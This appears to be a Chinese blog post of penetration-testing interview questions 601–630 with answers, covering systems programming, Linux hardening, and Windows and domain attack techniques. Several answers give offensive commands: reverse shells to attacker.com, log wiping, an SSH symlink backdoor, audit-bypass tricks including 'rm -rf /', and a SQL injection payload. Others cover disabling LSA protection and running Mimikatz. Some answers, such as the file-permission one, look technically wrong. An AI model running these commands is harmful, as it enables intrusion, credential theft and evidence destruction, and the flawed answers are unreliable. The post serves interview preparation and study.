2026年渗透测试面试题总结-21(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

[601. Python GIL锁及突破限制](#601. Python GIL锁及突破限制)

[GIL锁(Global Interpreter Lock)](#GIL锁(Global Interpreter Lock))

打破GIL限制的方案

[602. Masscan高速原理及自实现](#602. Masscan高速原理及自实现)

高速原因

自实现简化版Masscan

[603. 协程 vs 线程 vs 进程](#603. 协程 vs 线程 vs 进程)

[604. Goroutine泄露与排查](#604. Goroutine泄露与排查)

泄露原因

排查方法

[605. SQL时间盲注POC编写](#605. SQL时间盲注POC编写)

[606. 守护进程 & 创建方法](#606. 守护进程 & 创建方法)

守护进程特性

创建步骤(C语言)

[607. Linux安全运维 & SSH加固](#607. Linux安全运维 & SSH加固)

安全运维操作

SSH防护

[608. Linux入侵后日志清除](#608. Linux入侵后日志清除)

[609. 反弹Shell常用命令](#609. 反弹Shell常用命令)

[610. 反弹Shell监控(主机层)](#610. 反弹Shell监控(主机层))

[611. Rootkit分类与防护](#611. Rootkit分类与防护)

[612. 文件权限问题分析](#612. 文件权限问题分析)

[613. SSH软链接后门原理](#613. SSH软链接后门原理)

原理

扩展后门思路

[614. Linux Fork原理](#614. Linux Fork原理)

[615. HOOK技术实现](#615. HOOK技术实现)

R3层HOOK

R0层HOOK

[616. Linux应用识别](#616. Linux应用识别)

[617. 绕过命令审计方法](#617. 绕过命令审计方法)

[618. Linux提权方法](#618. Linux提权方法)

[619. 僵尸进程 vs 孤儿进程](#619. 僵尸进程 vs 孤儿进程)

[620. UAC鉴权与Bypass](#620. UAC鉴权与Bypass)

UAC鉴权流程

BypassUAC方法

[621. SSDT表Hook方法](#621. SSDT表Hook方法)

[SSDT(System Service Descriptor Table)](#SSDT(System Service Descriptor Table))

Hook步骤

[622. Windows权限校验模型](#622. Windows权限校验模型)

核心组件

校验流程

[623. PsExec底层原理](#623. PsExec底层原理)

[624. SSP修复阻止Mimikatz](#624. SSP修复阻止Mimikatz)

[修复点: LSA保护(PPL)](#修复点: LSA保护(PPL))

[625. Kerberos攻击](#625. Kerberos攻击)

KDC服务端口

常见攻击

[626. Win10使用Mimikatz技巧](#626. Win10使用Mimikatz技巧)

禁用LSA保护

不重启获取NTLM

[627. 域内查询员工对应机器](#627. 域内查询员工对应机器)

[628. 查询域信任关系](#628. 查询域信任关系)

[629. 域控开放端口](#629. 域控开放端口)

[630. Windows NTLM认证过程](#630. Windows NTLM认证过程)

三歩流程(挑战-响应)

复制代码
601	简述Python中的GIL锁,以及如何打破GIL锁的限制
602	masscan号称世界上最快的扫描器,快的原因是什么,如何实现一个自己的masscan?
603	简述协程,线程,以及进程的区别
604	什么情况下会导致 goruntine 泄露, 应该如何排查? 
605	SQL注入中时间盲注的POC应该如何编写? 
606	简述一下守护进程的概念,如何生成一个守护进程? 
607	Linux 服务器的安全运维操作有哪些?如何保护 SSH?
608	入侵 Linux 服务器后需要清除哪些日志?
609	反弹 shell 的常用命令?
610	从主机的层面,反弹shell如何监控 
611	Rootkit的种类有哪些,针对不同种类的Rootkit应该如何防护以及检测 
612	A账户创建了权限为766的文件夹adir,该文件夹中有B账户的文件password.txt,权限为B账户的700,请问B账户能否读取到adir/password.txt文件的内容 
613	ssh软链接后门的原理是什么,可以通过该原理构造其他后门吗?
614	Linux中fork的原理是什么,子进程一定会拷贝父进程的资源状态吗?
615	实现R3层HOOK的方式有哪些,R0层的HOOK又有哪些? 
616	Linux下如何准确实现应用识别,如识别nginx mysql等 
617	假设某Linux机器存在命令审计(方法未知),有哪些可能的绕过方法? 
618	Linux常见的提权方法有哪些?
619	僵尸进程和孤儿进程的区别是什么? 
620	UAC是如何进行鉴权校验的? BypassUAC的常见方法有哪些? 
621	SSDT表是什么,如何在系统中找到SSDT表并进行hook? 
622	Windows是如何进行权限控制的,具体的权限校验模型是什么? 
623	psexec的底层实现原理是什么? 
624	SSP接口中修复了哪个模块杜绝了mimikatz的恶意利用,具体是如何修复的?
625	内网KDC服务器开放在哪个端口,针对kerbores的攻击有哪些? 
626	在win10或者winserver2012中,如果需要使用mimikatz,该如何使用,修改注册表后如何在不重启机器的情况下获取NTLM? 
627	域内如何查询员工对应的机器? 
628	如何查询域之间的信任关系? 
629	域控开放的常见端口有哪些?
630	windows内网中ntlm协议认证过程 

601. Python GIL锁及突破限制

GIL锁(Global Interpreter Lock)
  • 本质:CPython解释器的互斥锁,确保同一时刻仅一个线程执行Python字节码。
  • 影响:多线程无法充分利用多核CPU,I/O密集型任务影响较小,CPU密集型任务性能下降。
打破GIL限制的方案
  1. 多进程替代多线程

    复制代码
    Python

    from multiprocessing import Pool with Pool(4) as p: # 创建4进程 p.map(cpu_intensive_func, data)

  2. Jython/IronPython
    使用无GIL的Python解释器(依赖JVM/.NET运行时)。

  3. C扩展
    在C模块中释放GIL(如Py_BEGIN_ALLOW_THREADS)。

  4. 异步编程
    使用asyncio库处理I/O密集型任务。

  5. 分布式任务队列
    如Celery,将任务分发到多台机器。


602. Masscan高速原理及自实现

高速原因
  1. 异步无状态扫描
    基于libpcap的异步I/O,不维护连接状态。
  2. 自定义TCP/IP栈
    绕过操作系统协议栈,直接构造原始报文。
  3. 随机化扫描
    目标IP和端口随机排序,避免触发防火墙速率限制。
  4. 分片传输
    将扫描任务拆分为多个小块并行处理。
自实现简化版Masscan
复制代码
C

#include <stdio.h> #include <netinet/ip.h> #include <netinet/tcp.h> int main() { int sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &(int){1}, sizeof(int)); // 自定义IP头 char packet[sizeof(struct iphdr) + sizeof(struct tcphdr)]; struct iphdr *ip = (struct iphdr*) packet; struct tcphdr *tcp = (struct tcphdr*) (packet + sizeof(struct iphdr)); // 填充IP/TCP头部(略) sendto(sock, packet, sizeof(packet), 0, (struct sockaddr*)&target, sizeof(target)); }

优化方向:多线程发包、响应捕获回调、目标随机化算法。


603. 协程 vs 线程 vs 进程

维度 进程 线程 协程
隔离性 独立内存空间(高隔离) 共享内存(需同步) 共享内存(用户态切换)
切换开销 高(内核介入) 极低(无内核切换)
并发能力 高(十万级)
适用场景 CPU密集型任务 I/O密集型任务 高并发I/O(如网络服务)
调度方 操作系统 操作系统 用户程序(事件循环)

604. Goroutine泄露与排查

泄露原因
  • 阻塞操作:channel未关闭、死锁、无限循环。
  • 未处理panic:导致协程退出异常。
  • 资源等待 :如sync.WaitGroup未调用Done()
排查方法
  1. pprof工具

    复制代码
    Go

    import _ "net/http/pprof" go http.ListenAndServe(":6060", nil) // 访问 /debug/pprof/goroutine?debug=1

  2. runtime.NumGoroutine()
    定期打印协程数量监控泄露。

  3. trace可视化

    复制代码
    Go

    trace.Start(os.Stdout) defer trace.Stop()


605. SQL时间盲注POC编写

复制代码
Sql

' UNION SELECT IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0 ) --+

关键技巧

  • 使用sleep()benchmark()函数延长响应时间。
  • 通过条件判断逐个字符猜解(如SUBSTRING()截取字符)。
  • 配合脚本自动化(Python+requests)。

606. 守护进程 & 创建方法

守护进程特性
  • 脱离终端控制(TTY)
  • 在后台长期运行
  • 会话组长(session leader)
创建步骤(C语言)
复制代码
C

#include <unistd.h> #include <sys/stat.h> void daemonize() { pid_t pid = fork(); if (pid > 0) exit(0); // 父进程退出 setsid(); // 创建新会话 chdir("/"); // 切换根目录 umask(0); // 重置文件掩码 close(STDIN_FILENO); // 关闭标准流 close(STDOUT_FILENO); close(STDERR_FILENO); }


607. Linux安全运维 & SSH加固

安全运维操作
  1. 最小化安装:仅安装必要软件包。
  2. 口令策略/etc/login.defs设置密码复杂度。
  3. 防火墙iptables/nftables限制端口访问。
  4. 定期更新apt update && apt upgrade
SSH防护
复制代码
Bash

# /etc/ssh/sshd_config Port 2222 # 修改默认端口 PermitRootLogin no # 禁止root登录 PasswordAuthentication no # 强制密钥认证 AllowUsers user1 user2 # 白名单用户 MaxAuthTries 3 # 限制尝试次数


608. Linux入侵后日志清除

日志类型 路径 清除命令
登录记录 /var/log/auth.log echo > /var/log/auth.log
历史命令 ~/.bash_history history -c && rm -f ~/.bash_history
系统日志 /var/log/syslog journalctl --flush
wtmp/utmp /var/log/wtmp > /var/log/wtmp
web日志 /var/log/apache2/access.log 按需清理特定IP记录

609. 反弹Shell常用命令

复制代码
Bash

# Bash bash -i >& /dev/tcp/attacker.com/4444 0>&1 # Netcat nc -e /bin/sh attacker.com 4444 # Python python -c 'import socket,subprocess,os; s=socket.socket(); s.connect(("attacker.com",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(["/bin/sh","-i"])'


610. 反弹Shell监控(主机层)

  1. 网络连接监控

    复制代码
    Bash

    netstat -antp | grep ESTABLISHED | grep ':4444'

  2. 进程行为分析
    auditd监控execve系统调用:

    复制代码
    Bash

    auditctl -a exit,always -F arch=b64 -S execve

  3. HIDS工具

    • OSSEC:实时检测异常进程。
    • SELinux/AppArmor:限制进程网络行为。

611. Rootkit分类与防护

类型 检测方法 防护措施
应用级 rkhunter扫描 文件完整性校验(Tripwire)
内核级 chkrootkit + LKM签名检查 禁用非签名内核模块
固件级 UEFI安全启动 物理隔离+硬件信任链
内存级 Volatility内存分析 内核地址空间随机化(KASLR)

612. 文件权限问题分析

  • 文件夹权限adir权限766 = rwx rw- rw-
    • B用户 :可进入目录(x位生效)。
  • 文件权限password.txt权限700 = rwx --- ---
    • B用户 :作为文件所有者,拥有读写执行权限。
      结论 :B用户可以读取adir/password.txt内容。

613. SSH软链接后门原理

原理
  1. 创建恶意SSH软链接:

    复制代码
    Bash

    ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=2222

  2. 攻击者连接后门端口:

    复制代码
    Bash

    ssh root@victim.com -p 2222 -o "RSAAuthentication=no" -o "PubkeyAuthentication=no"
    绕过认证直接获取Shell。

扩展后门思路
  • 环境变量注入 :在.bashrc中植入反向Shell命令。
  • cron定时任务:定期连接控制服务器。

614. Linux Fork原理

  • 写时复制(CoW)
    子进程共享父进程内存页,仅当修改时才复制物理页。
  • 不拷贝的资源
    1. 进程ID(PID)
    2. 文件锁(flock
    3. 挂起的信号
    4. 计时器(alarm
    5. 内存锁(mlock

615. HOOK技术实现

R3层HOOK
  • IAT/EAT Hook:修改导入/导出函数表。
  • Inline Hook :覆盖函数入口指令(jmp跳转)。
  • API Monitor:利用调试寄存器(DR0-DR3)。
R0层HOOK
  • SSDT Hook:替换内核系统调用表。
  • IDT Hook:篡改中断描述符表。
  • SYSENTER Hook:劫持快速系统调用入口。

616. Linux应用识别

复制代码
Bash

# 1. 进程特征识别 ps aux | grep nginx # 检查进程名/参数 # 2. 端口监听检测 netstat -tulnp | grep ':80' # 3. 文件特征校验 find / -name nginx.conf 2>/dev/null md5sum /usr/sbin/nginx # 对比官方哈希 # 4. 行为监控 strace -p <PID> -e open,read


617. 绕过命令审计方法

  1. 无文件执行

    复制代码
    Bash

    echo 'id' | curl -X POST --data-binary @- http://attacker.com/rce.php

  2. 别名绕过

    复制代码
    Bash

    alias audit_bypass='sh -c'; audit_bypass "rm -rf /"

  3. 环境变量注入

    复制代码
    Bash

    export PATH=/tmp:$PATH; echo 'nc -e /bin/sh attacker.com 4444' > /tmp/ls

  4. 动态库劫持
    通过LD_PRELOAD覆盖audit_log函数。


618. Linux提权方法

类型 示例
内核漏洞 DirtyCow(CVE-2016-5195)
SUID滥用 find / -perm -4000 2>/dev/null
环境变量劫持 篡改PATH导致执行恶意程序
定时任务 写入/etc/crontab执行反弹Shell
sudo配置错误 sudo -l查看无需密码的命令

619. 僵尸进程 vs 孤儿进程

特征 僵尸进程(Zombie) 孤儿进程(Orphan)
产生条件 子进程结束但父进程未调用wait() 父进程先于子进程退出
资源状态 占用进程ID,无内存消耗 init进程(PID=1)接管
清除方法 父进程调用wait()或终止 系统自动回收

620. UAC鉴权与Bypass

UAC鉴权流程
  1. 用户发起特权操作请求。
  2. 系统检查进程的integrity level(低/中/高)。
  3. 若需提权,弹出UAC对话框要求用户确认。
BypassUAC方法
  1. DLL劫持 :伪造dll被高权限进程加载。
  2. COM接口滥用 :调用IFileOperation执行特权操作。
  3. 计划任务:创建高权限任务执行代码。
  4. 注册表键篡改 :修改HKCU\Software\Classes下的键值。

621. SSDT表Hook方法

SSDT(System Service Descriptor Table)
  • 作用:存储内核态系统调用函数指针。
  • 定位方法 (x64):
    1. 读取IA32_LSTAR MSR寄存器获取KiSystemCall64地址。
    2. 函数内偏移定位SSDT表。
Hook步骤
  1. 禁用内核写保护(CR0寄存器)。
  2. 替换SSDT表中目标函数的地址。
  3. 恢复写保护。
    风险: PatchGuard(Win10)会检测SSDT修改。

622. Windows权限校验模型

核心组件
  • 访问令牌(Access Token):包含用户SID、组SID、特权列表。
  • 安全描述符(SD):包含DACL(访问控制列表)、Owner SID。
校验流程
  1. 进程访问对象(如文件)时,系统比对令牌中的SID与对象的DACL。
  2. 若DACL中存在Allow条目匹配用户/组SID,则允许访问。
  3. 若无明确允许则拒绝(默认Deny)。

623. PsExec底层原理

  1. SMB连接 :通过445端口连接到目标主机的ADMIN$共享。
  2. 服务创建 :上传PSEXESVC.exe到远程系统并注册为服务。
  3. 管道通信 :通过命名管道\pipe\psexecsvc发送命令。
  4. 输出重定向:将远程进程输出传回本地。

624. SSP修复阻止Mimikatz

修复点: LSA保护(PPL)
  • 原理 :将lsass.exe标记为受保护进程(PS_PROTECTED_SYSTEM),禁止非信任进程读取其内存。

  • 启用方法

    复制代码
    Reg

    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] "RunAsPPL"=dword:00000001

  • 绕过思路:加载恶意驱动或利用内核漏洞禁用PPL。


625. Kerberos攻击

KDC服务端口
  • 默认端口88/tcp(Kerberos v5)
常见攻击
  1. AS-REP Roasting:离线爆破用户明文口令。
  2. 黄金票据(Golden Ticket):伪造TGT(需krbtgt的NTLM)。
  3. 白银票据(Silver Ticket):伪造服务票据(需服务账户NTLM)。
  4. 委派攻击:利用约束/非约束委派扩大权限。

626. Win10使用Mimikatz技巧

禁用LSA保护
复制代码
Reg

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d 0 /f

不重启获取NTLM
  1. 强制重启lsass.exe(触发新凭证写入):

    复制代码
    Powershell

    Kill -Force -Name lsass

  2. 使用Mimikatz读取重启后的内存:

    复制代码
    Powershell

    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit


627. 域内查询员工对应机器

复制代码
Powershell

# PowerShell (AD模块) Get-ADUser -Identity "john.doe" -Properties * | Select-Object Name, DisplayName, LastLogonDate Get-ADComputer -Filter "LastLogonTimeStamp -gt '$((Get-Date).AddDays(-30).ToFileTime())'" | Format-Table Name


628. 查询域信任关系

复制代码
Powershell

# nltest工具 nltest /domain_trusts # PowerShell Get-ADTrust -Filter *


629. 域控开放端口

端口 服务 用途
53/tcp DNS 域名解析
88/tcp Kerberos 身份认证
135/tcp RPC 远程过程调用
389/tcp LDAP 目录服务
445/tcp SMB 文件共享
636/tcp LDAPS 加密LDAP
3268/tcp Global Catalog 全局目录查询

630. Windows NTLM认证过程

三歩流程(挑战-响应)
  1. 协商
    客户端 -> 服务器: NEGOTIATE_MESSAGE(声明支持的功能)。
  2. 挑战
    服务器 -> 客户端: CHALLENGE_MESSAGE(包含8字节随机数Nonce)。
  3. 认证
    客户端 -> 服务器: AUTHENTICATE_MESSAGE(包含以下响应):
    • LM Response:基于用户口令DES加密Nonce(已弃用)。
    • NTLM Response:使用NTLM Hash加密Nonce。
    • NTMLv2 Response:加入时间戳和客户端随机数增强安全性。
相关推荐
安科士andxe9 小时前
深入解析|安科士1.25G CWDM SFP光模块核心技术,破解中长距离传输痛点
服务器·网络·5g
YJlio12 小时前
1.7 通过 Sysinternals Live 在线运行工具:不下载也能用的“云端工具箱”
c语言·网络·python·数码相机·ios·django·iphone
l1t12 小时前
在wsl的python 3.14.3容器中使用databend包
开发语言·数据库·python·databend
CTRA王大大12 小时前
【网络】FRP实战之frpc全套配置 - fnos飞牛os内网穿透(全网最通俗易懂)
网络
testpassportcn13 小时前
AWS DOP-C02 認證完整解析|AWS DevOps Engineer Professional 考試
网络·学习·改行学it
山塘小鱼儿13 小时前
本地Ollama+Agent+LangGraph+LangSmith运行
python·langchain·ollama·langgraph·langsimth
码说AI14 小时前
python快速绘制走势图对比曲线
开发语言·python
通信大师14 小时前
深度解析PCC策略计费控制:核心网产品与应用价值
运维·服务器·网络·5g
wait_luky14 小时前
python作业3
开发语言·python